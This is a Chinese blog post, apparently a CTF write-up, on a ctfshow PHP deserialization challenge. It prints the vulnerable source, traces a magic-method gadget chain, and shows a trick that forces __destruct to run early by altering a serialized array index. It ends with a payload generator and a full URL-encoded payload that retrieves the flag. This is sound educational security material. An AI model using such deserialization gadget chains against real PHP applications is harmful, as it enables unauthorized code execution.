卷王杯 easy unserialize

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已于 2022-10-19 18:24:43 修改

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文章标签： php web安全安全

于 2022-10-19 18:24:13 首次发布

本文链接：https://blog.csdn.net/qq_64201116/article/details/127413345

版权

本文详细探讨了一个涉及__destruct、__call、__get等PHP魔术方法的代码执行问题。通过示例代码，解释了如何利用这些魔术方法实现类方法的调用链，并介绍了__destruct的垃圾回收机制，以及如何通过修改序列化数据来触发特定方法。最终，文章展示了如何构造payload来触发MeMeMe()方法，以获取flag。

摘要由CSDN通过智能技术生成

因为一个 __destruct函数的GC回收机制 没学过，所以没解出来。

进入题目，给了源码：

<?php
include("./HappyYear.php");
class one {
    public $object;
 
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
 
 
    public function __destruct() {
        @$this->object->add();
    }
 
 
    public function __toString() {
        return $this->object->string;
    }
}
 
 
class second {
    protected $filename;
 
 
    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }
 
 
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}
 
 
class third {
    private $string;
 
 
    public function __construct($string) {
        $this->string = $string;
    }
 
 
    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}
 
 
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道");
} else {
    highlight_file(__FILE__);
}

要输出flag，就要调用方法MeMeMe()

一眼看过去，魔术方法__get里面的$var[$name]();都可控，可以利用 数组调用类中方法

数组调用类中方法

关于数组调用类中的方法，再给出几个详细的例子，也是算学得更精了：

##例子1

<?php
error_reporting(0);

class one{
        public function test()
        {
                echo "123";
        }
}
$a=array(one,test);
$a();

##例子2

还有一种是形似题目这种调用数组名的：

可以从调试窗口看到得到清晰的划分。

输出：

123

接下来就是触发各类魔方方法了

可以看之前的一篇文章

我这里就把链子理一下：

one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe

__destruct函数的GC回收机制：

参考：

https://www.jianshu.com/p/d73b3ca418b0

<?php
class one{
        public function __destruct(){
                echo "__destruct";
        }
}

$a = new one();

throw new Exception("高一新生报道");

解决方法：

<?php
class one{
    public $string;
    public function __destruct(){
        echo "__destruct";
    }
}
 $a=new one();
 $b=array($a,NULL);
 echo serialize($b);

以上代码序列化的结果：

a:2:{i:0;O:3:"one":0:{}i:1;N;}

把后面的i:1改成i:0，达到提前销毁对象的目的，从而执行魔术方法__destruct

payload:

<?php
/**
 * @Author: F10wers_13eiCheng
 * @Date:   2022-02-01 11:25:02
 * @Last Modified by:   F10wers_13eiCheng
 * @Last Modified time: 2022-02-07 15:08:18
 */
include("./HappyYear.php");

class one {
    public $year_parm=array("Happy_func");
    public $object;
    

    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }

    public function __destruct() {
        @$this->object->add();
    }

    public function __toString() {
        return $this->object->string;
    }
}

class second {
    public $filename;

    protected function addMe() {
        return "Wow you have sovled".$this->filename;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);
    }
}

class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),MeMeMe]));
$b = array($a,NULL);
echo urlencode(serialize($b));

生成的payload:

a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

标注颜色的是由1改成0，达到提前销毁变量触发__destruct的目的